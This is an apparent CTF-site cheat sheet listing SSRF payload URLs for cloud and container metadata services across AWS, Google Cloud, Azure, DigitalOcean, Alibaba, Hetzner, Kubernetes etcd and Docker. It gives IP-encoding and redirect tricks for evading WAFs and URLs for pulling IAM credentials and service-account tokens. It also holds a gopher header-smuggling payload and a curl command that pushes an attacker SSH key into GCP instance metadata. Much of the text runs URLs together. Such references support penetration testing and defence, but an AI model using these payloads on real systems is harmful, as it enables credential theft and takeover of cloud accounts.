~/bokkapig
hack the box machine writeups
← cd ..

SSRF URL for Cloud Instances

contents
ssrf-cloud-instances.md

When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers

Summary#

SSRF URL for AWS#

The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - Docs

  • IPv4 endpoint (old): http://169.254.169.254/latest/meta-data/

  • IPv4 endpoint (new) requires the header X-aws-ec2-metadata-token

    export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"

  • IPv6 endpoint: http://[fd00:ec2::254]/latest/meta-data/

In case of a WAF, you might want to try different ways to connect to the API.

  • DNS record pointing to the AWS API IP

    http://instance-datahttp://169.254.169.254http://169.254.169.254.nip.io/

  • HTTP redirect

    Static:http://nicob.net/redir6aDynamic:http://nicob.net/redir-http-169.254.169.254:80-

  • Encoding the IP to bypass WAF

    http://425.510.425.510 Dotted decimal with overflowhttp://2852039166 Dotless decimalhttp://7147006462 Dotless decimal with overflowhttp://0xA9.0xFE.0xA9.0xFE Dotted hexadecimalhttp://0xA9FEA9FE Dotless hexadecimalhttp://0x41414141A9FEA9FE Dotless hexadecimal with overflowhttp://0251.0376.0251.0376 Dotted octalhttp://0251.00376.000251.0000376 Dotted octal with paddinghttp://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)http://[::ffff:a9fe:a9fe] IPV6 Compressedhttp://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expandedhttp://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4http://[fd00:ec2::254] IPV6

These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.

http://169.254.169.254/latest/meta-data/iam/security-credentialshttp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.

http://169.254.169.254/latest/user-data

Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.

http://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/ami-idhttp://169.254.169.254/latest/meta-data/reservation-idhttp://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/public-keys/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyhttp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-keyhttp://169.254.169.254/latest/dynamic/instance-identity/document

Examples:

  • Jira SSRF leading to AWS info disclosure - https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance
  • *Flaws challenge - http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

SSRF URL for AWS ECS#

If you have an SSRF with file system access on an ECS instance, try extracting /proc/self/environ to get UUID.

curl http://169.254.170.2/v2/credentials/<UUID>

This way you’ll extract IAM keys of the attached role

SSRF URL for AWS Elastic Beanstalk#

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/documenthttp://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

SSRF URL for AWS Lambda#

AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.

http://localhost:9001/2018-06-01/runtime/invocation/nexthttp://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next

Docs: <https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next>

SSRF URL for Google Cloud#

:warning: Google is shutting down support for usage of the v1 metadata service on January 15.

Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”

http://169.254.169.254/computeMetadata/v1/http://metadata.google.internal/computeMetadata/v1/http://metadata/computeMetadata/v1/http://metadata.google.internal/computeMetadata/v1/instance/hostnamehttp://metadata.google.internal/computeMetadata/v1/instance/idhttp://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Required headers can be set using a gopher SSRF with the following technique

gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a

Interesting files to pull out:

  • SSH Public Key : http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
  • Get Access Token : http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
  • Kubernetes Key : http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json

Add an SSH key#

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {         "issued_to": "101302079XXXXX",         "audience": "10130207XXXXX",         "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",         "expires_in": 2443,         "access_type": "offline" }

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

SSRF URL for Digital Ocean#

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/idhttp://169.254.169.254/metadata/v1.jsonhttp://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/idhttp://169.254.169.254/metadata/v1/user-datahttp://169.254.169.254/metadata/v1/hostnamehttp://169.254.169.254/metadata/v1/regionhttp://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:curl http://169.254.169.254/metadata/v1.json | jq

SSRF URL for Packetcloud#

Documentation available at https://metadata.packet.net/userdata

SSRF URL for Azure#

Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header “Metadata: true” https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

http://169.254.169.254/metadata/instance?api-version=2017-04-02http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

SSRF URL for OpenStack/RackSpace#

(header required? unknown)

http://169.254.169.254/openstack

SSRF URL for HP Helion#

(header required? unknown)

http://169.254.169.254/2009-04-04/meta-data/

SSRF URL for Oracle Cloud#

http://192.0.0.192/latest/http://192.0.0.192/latest/user-data/http://192.0.0.192/latest/meta-data/http://192.0.0.192/latest/attributes/

SSRF URL for Alibaba#

http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id

SSRF URL for Hetzner Cloud#

http://169.254.169.254/hetzner/v1/metadatahttp://169.254.169.254/hetzner/v1/metadata/hostnamehttp://169.254.169.254/hetzner/v1/metadata/instance-idhttp://169.254.169.254/hetzner/v1/metadata/public-ipv4http://169.254.169.254/hetzner/v1/metadata/private-networkshttp://169.254.169.254/hetzner/v1/metadata/availability-zonehttp://169.254.169.254/hetzner/v1/metadata/region

SSRF URL for Kubernetes ETCD#

Can contain API keys and internal ip and ports

curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true

SSRF URL for Docker#

http://127.0.0.1:2375/v1.24/containers/jsonSimple exampledocker run -ti -v /var/run/docker.sock:/var/run/docker.sock bashbash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/jsonbash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

More info:

  • Daemon socket option: <https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option>
  • Docker Engine API: <https://docs.docker.com/engine/api/latest/>

SSRF URL for Rancher#

curl http://rancher-metadata/<version>/<path>

More info: <https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/>

References#